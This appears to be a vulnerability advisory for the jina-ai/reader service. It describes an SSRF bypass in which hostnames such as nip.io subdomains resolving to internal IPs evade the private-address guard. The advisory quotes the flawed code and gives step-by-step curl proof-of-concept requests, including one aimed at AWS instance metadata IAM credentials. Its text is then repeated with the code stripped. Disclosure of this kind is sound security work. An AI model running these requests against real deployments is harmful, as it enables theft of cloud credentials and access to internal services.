(reported via email 2 weeks ago; affected Versions: commit 1574bfd)
Summary
The jina-ai/reader service (which powers r.jina.ai) fetches user-supplied URLs server-side and converts them to LLM-friendly text. In self-hosted deployments, the SSRF protection that prevents fetching private/internal IP addresses does not apply to hostnames that resolve to private IPs. An unauthenticated attacker can supply a publicly-resolvable domain (such as one using a wildcard DNS service like nip.io) that resolves to a cloud metadata endpoint or any internal host, causing the reader service to fetch and return the internal content.
Details
The guard against private IP access lives in src/services/misc.ts in the assertNormalizedUrl method:
// src/services/misc.ts lines 15, 70-104
export const privateIpNotAcceptable = Boolean(
process.env['NODE_ENV']?.toLowerCase()?.includes('prod') &&
process.env['GCLOUD_PROJECT']
);
// ...
// Guard 1: direct IP addresses
if (privateIpNotAcceptable &&
(result.hostname === 'localhost') ||
(isIp && isIPInNonPublicRange(normalizedHostname))) {
throw new SecurityCompromiseError(...);
}
// Guard 2: hostname DNS resolution
if (!isIp && result.protocol !== 'blob:') {
const resolved = await lookup(result.hostname, { all: true });
for (const x of resolved) {
if (privateIpNotAcceptable && isIPInNonPublicRange(x.address)) { // <-- bug
throw new SecurityCompromiseError(...);
}
ips.push(x.address);
}
}
Two issues combine to create the vulnerability:
-
privateIpNotAcceptable is false in any self-hosted deployment because it requires both NODE_ENV to contain prod AND GCLOUD_PROJECT to be set. The published Docker image (ghcr.io/jina-ai/reader) sets only PORT=8080 and no GCLOUD_PROJECT.
-
Guard 2 (the DNS resolution check on line 94) is entirely gated on privateIpNotAcceptable. When that flag is false, the service performs the DNS lookup, obtains the resolved IPs, and proceeds to fetch the URL without blocking private addresses.
Guard 1 (line 70-75) does block direct RFC1918 IPs unconditionally due to a JavaScript operator precedence effect -- && binds tighter than ||, so the expression evaluates as (privateIpNotAcceptable && hostname==='localhost') || (isIp && isIPInNonPublicRange(hostname)), making the isIp branch operate independently of privateIpNotAcceptable. This means only the hostname-based path is unguarded.
An attacker uses a wildcard DNS service (e.g. nip.io, sslip.io) where <IP>.nip.io resolves to <IP>. The domain is a public hostname, so isIP() returns 0, causing execution to fall through to Guard 2, which is a no-op in self-hosted mode.
The service uses two fetch mechanisms: a curl-based side-loader (src/services/curl.ts) and a headless Chromium instance (src/services/puppeteer.ts). The curl path fires first for most requests. Neither checks the resolved IP after DNS. Once the URL passes assertNormalizedUrl, no further IP restriction is applied before the HTTP request is made.
PoC
Prerequisites:
- A self-hosted instance of jina-ai/reader running via the official Docker image with default configuration (no
GCLOUD_PROJECT env var, NODE_ENV not containing prod).
- The HTTP/1.1 fallback port (8081 in the container, host-mapped to 9701 in the example below).
- An internal service reachable from the reader container. In cloud deployments this is the instance metadata service at 169.254.169.254 or other services on the VPC.
Step 1: Start the service with default configuration:
docker run -d -p 9700:8080 -p 9701:8081 --cap-add SYS_ADMIN ghcr.io/jina-ai/reader:latest
Step 2: Verify direct RFC1918 IP is blocked (expected):
curl -s --http1.1 -X POST http://localhost:9701/ \
-H "Content-Type: application/json" \
-d '{"url":"http://172.18.0.1:9705/"}'
# Response: HTTP 451 SecurityCompromiseError: Request to localhost or non-public IP: 172.18.0.1
Step 3: Use a domain that resolves to the internal address (bypasses the guard):
curl -s --http1.1 \
"http://localhost:9701/http://172.18.0.1.nip.io:9705/sensitive-endpoint"
Expected response (HTTP 200):
Title:
URL Source: http://172.18.0.1.nip.io:9705/sensitive-endpoint
Markdown Content:
SECRET_INTERNAL_METADATA
instance-id: i-0123456789abcdef
hostname: internal-server
iam-role: admin
aws-secret-key: AKIAIOSFODNN7EXAMPLE
For cloud metadata (AWS IMDSv1):
curl -s --http1.1 \
"http://localhost:9701/http://169-254-169-254.nip.io/latest/meta-data/iam/security-credentials/"
Step 4: Same attack works via GET with the URL embedded in the path:
curl -s --http1.1 \
"http://localhost:9701/http://172.18.0.1.nip.io:9705/admin"
Impact
An unauthenticated attacker can make the reader service act as an SSRF proxy against any host reachable from the server's network. In the most severe case on cloud infrastructure (AWS, GCP, Azure), this allows retrieval of instance metadata including IAM credentials, enabling full account takeover. In any self-hosted deployment, it allows reconnaissance and data exfiltration from internal services such as Kubernetes API servers, databases, and administrative interfaces whose responses contain text content.
The service is unauthenticated by design, so no user account or API key is required to exploit this vulnerability.
(reported via email 2 weeks ago; affected Versions: commit 1574bfd)
Summary
The jina-ai/reader service (which powers r.jina.ai) fetches user-supplied URLs server-side and converts them to LLM-friendly text. In self-hosted deployments, the SSRF protection that prevents fetching private/internal IP addresses does not apply to hostnames that resolve to private IPs. An unauthenticated attacker can supply a publicly-resolvable domain (such as one using a wildcard DNS service like nip.io) that resolves to a cloud metadata endpoint or any internal host, causing the reader service to fetch and return the internal content.
Details
The guard against private IP access lives in
src/services/misc.tsin theassertNormalizedUrlmethod:Two issues combine to create the vulnerability:
privateIpNotAcceptableisfalsein any self-hosted deployment because it requires bothNODE_ENVto containprodANDGCLOUD_PROJECTto be set. The published Docker image (ghcr.io/jina-ai/reader) sets onlyPORT=8080and noGCLOUD_PROJECT.Guard 2 (the DNS resolution check on line 94) is entirely gated on
privateIpNotAcceptable. When that flag is false, the service performs the DNS lookup, obtains the resolved IPs, and proceeds to fetch the URL without blocking private addresses.Guard 1 (line 70-75) does block direct RFC1918 IPs unconditionally due to a JavaScript operator precedence effect --
&&binds tighter than||, so the expression evaluates as(privateIpNotAcceptable && hostname==='localhost') || (isIp && isIPInNonPublicRange(hostname)), making theisIpbranch operate independently ofprivateIpNotAcceptable. This means only the hostname-based path is unguarded.An attacker uses a wildcard DNS service (e.g. nip.io, sslip.io) where
<IP>.nip.ioresolves to<IP>. The domain is a public hostname, soisIP()returns 0, causing execution to fall through to Guard 2, which is a no-op in self-hosted mode.The service uses two fetch mechanisms: a curl-based side-loader (
src/services/curl.ts) and a headless Chromium instance (src/services/puppeteer.ts). The curl path fires first for most requests. Neither checks the resolved IP after DNS. Once the URL passesassertNormalizedUrl, no further IP restriction is applied before the HTTP request is made.PoC
Prerequisites:
GCLOUD_PROJECTenv var,NODE_ENVnot containingprod).Step 1: Start the service with default configuration:
Step 2: Verify direct RFC1918 IP is blocked (expected):
Step 3: Use a domain that resolves to the internal address (bypasses the guard):
Expected response (HTTP 200):
For cloud metadata (AWS IMDSv1):
Step 4: Same attack works via GET with the URL embedded in the path:
Impact
An unauthenticated attacker can make the reader service act as an SSRF proxy against any host reachable from the server's network. In the most severe case on cloud infrastructure (AWS, GCP, Azure), this allows retrieval of instance metadata including IAM credentials, enabling full account takeover. In any self-hosted deployment, it allows reconnaissance and data exfiltration from internal services such as Kubernetes API servers, databases, and administrative interfaces whose responses contain text content.
The service is unauthenticated by design, so no user account or API key is required to exploit this vulnerability.